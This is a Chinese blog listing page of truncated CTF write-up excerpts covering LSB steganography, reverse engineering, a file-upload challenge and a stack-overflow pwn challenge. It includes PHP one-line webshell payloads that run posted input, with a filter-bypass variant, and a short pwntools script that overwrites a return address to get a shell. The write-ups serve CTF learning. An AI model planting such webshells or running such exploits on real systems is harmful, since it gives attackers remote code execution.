题目地址:https://buuoj.cn/challenges#LSB题目提示是:LSB使用stegsolve打开,在Red plane 0、Grenn plane 0、Blue plane0通道发现图片的上方好有东西Analyse->Data Extract调整至如下,发现这是一张图片,Save Bin保存为flag.png`cumtc
原创
2023-06-19 19:36:07
360阅读
LSB 看到这个题目应该是LSB隐写,StegSolve打开,在红绿蓝0号上发现图片信息 然后在Analyse选择data extract Save bin保存图片即可 得到的是个二维码,解码即可。 ...
转载
2021-09-26 08:59:00
1254阅读
2评论
LSB - Linux Standard Basement
原创
2011-06-14 14:15:29
385阅读
下载下来后是一个png格式的图片,题目说是LSB 打开Stegsolve,打开图片,通过切换色域 发现这个地方存在不一般的内容,选择三色,保存下来,发现是一个二维码 QR扫描,获得flag cumtctf{1sb_i4_s0_Ea4y} ...
转载
2021-07-30 14:10:00
143阅读
2评论
https://buuoj.cn/challenges#[BUUCTF%202018]Onli
原创
2023-06-19 15:50:15
281阅读
LSB算法加密数据:(自己随便找)加密前图像:自己随便找一个加密后图像:自己跑代码生成加密代码:from PIL import Imagedef get_key(strr): tmp = strr f = open(tmp,'rb') str = "" s = f.read() for i in range(len(s)): str = str + bin(s[i]).repl
原创
2021-08-28 17:24:14
698阅读
LSB(Least Significant Bit)最低有效位,对任何AD来说,量化后输出的数字值都是以1LSB的电压值步进的,介于1LSB之间的电压将按照一定的规则进行入位或舍弃,这个过程中造成的误差被称为“量化误差”,量化误差属于原理性误差,是无法消除的。
转载
2014-12-25 18:45:00
729阅读
2评论
## Python LSB(Least Significant Bit)技术的实现
在今天的快速发展环境中,信息安全和数据隐私愈发重要。LSB(Least Significant Bit)是一种隐写术技术,它允许我们在数字图像或音频文件中隐藏信息而不引起注意。特别是在Python编程中,我们可以方便地使用这一技术。本文将带领你一步步实现Python下的LSB方法。
### 流程概述
在开始编
传统的LSB算法由于其变换规律非常明显,很容易被隐写分析检测到,因此需要改进算法提升其隐蔽性。LSB有三个改进方向分别是:对嵌入过程中嵌入的方式进行更改;对嵌入水印的内容进行更改以及对水印嵌入前对水印进行预处理。利用补余载体更改LSB方案嵌入程序LSB.m在原有LSB的基础上增加返回了补余载体。LSB.m在读入原始水印和原始载体在后,生成与原始载体同尺寸的全黑的初始补余载体。水印和载体最低位相同时
信息隐藏基础算法——LSB算法(python实现)1,LSB算法原理2,载体图片和待嵌入图像信息3,代码4,结果展示5,存在的问题 1,LSB算法原理LSB(least significant bit)翻译过来为最低有效位。 在灰度图像中,图像的灰度由八位二进制来表示即十进制中0-255,共256级别,255则为白色,反之0为黑色。自然,二进制位越靠前则对像素点灰度的影响越大,从这点出发,则考虑
点开要求输入密码,拖入IDA查看,查看strings看样子没有加壳,进入passwd字符查看 输入一个长度为6的字符串,atoi函数是一个把字符串转换成整数型的函数,strcat在6位字符串后加上@DBApp 猜测sub_40100A是一个加密函数 进入查看 查看https://docs.micro ...
转载
2021-08-06 11:33:00
212阅读
2评论
[极客大挑战 2019]Upload看到后的第一印象肯定是先上传图片马试试<?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?>构造的语句中不能带有<?
原创
2021-10-23 11:49:54
211阅读
[极客大挑战 2019]Upload看到后的第一印象肯定是先上传图片马试试<?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?>构造的语句中不能带有<?这样的话只能是构造一些其他语句了<script language="php">eval($_POST['shell']);</script>上传的格式为image,使用bp抓包进行修改![image.png](https://img-blo.
原创
2021-10-25 10:29:49
299阅读
我的第一个pwn题。原理:修改返回地址以达到获得shell的目的。根据栈结构,我们将char s[]的15个字节填充上,再填充Caller‘s rbp 的8个字节即可到达Return address。脚本如下:from pwn import*p = remote("ip地址",port)payload = 'A'*15+'B'*8+p64(0x401186)p.sendline(payload)p
原创
2022-02-06 20:11:01
347阅读
https://buuoj.cn/challenges#hashcatXML文件,添加文件后缀为ppt,有加密使用Accen
原创
2023-06-19 15:55:50
230阅读
题目地址:https://buuoj.cn/challenges#greatescape下载附件得到一个流量包,追中TCP流,在tcp.stream eq 18,发现ssc
原创
2023-06-19 16:04:22
254阅读
题目地址:https://buuoj.cn/challenges#snakebinwalk分析发现图片中隐写了压缩包,使用forem
原创
2023-06-19 16:09:57
187阅读
拖入IDA64查看伪代码 1 unsigned __int64 Decry() 2 { 3 char v1; // [rsp+Fh] [rbp-51h] 4 int v2; // [rsp+10h] [rbp-50h] 5 int v3; // [rsp+14h] [rbp-4Ch] 6 int i ...
转载
2021-07-26 10:48:00
457阅读
2评论
starctf_2019_babyshell 考点:01是代码也可以是数据,所以只读数据段的数据拼接可以执行sys_read,利用IDA的转代码(字母C)来将只读数据段转成代码如下:
转载
2021-08-14 17:34:00
399阅读
2评论
!strncmp(v6, global, 0x21uLL) 其函数声明为int strncmp ( const char * str1, const char * str2, size_t n ); 功能是把 str1 和 str2 进行比较,最多比较前 n 个字节 若str1与str2的前n个字符 ...
转载
2021-07-19 14:57:00
851阅读
2评论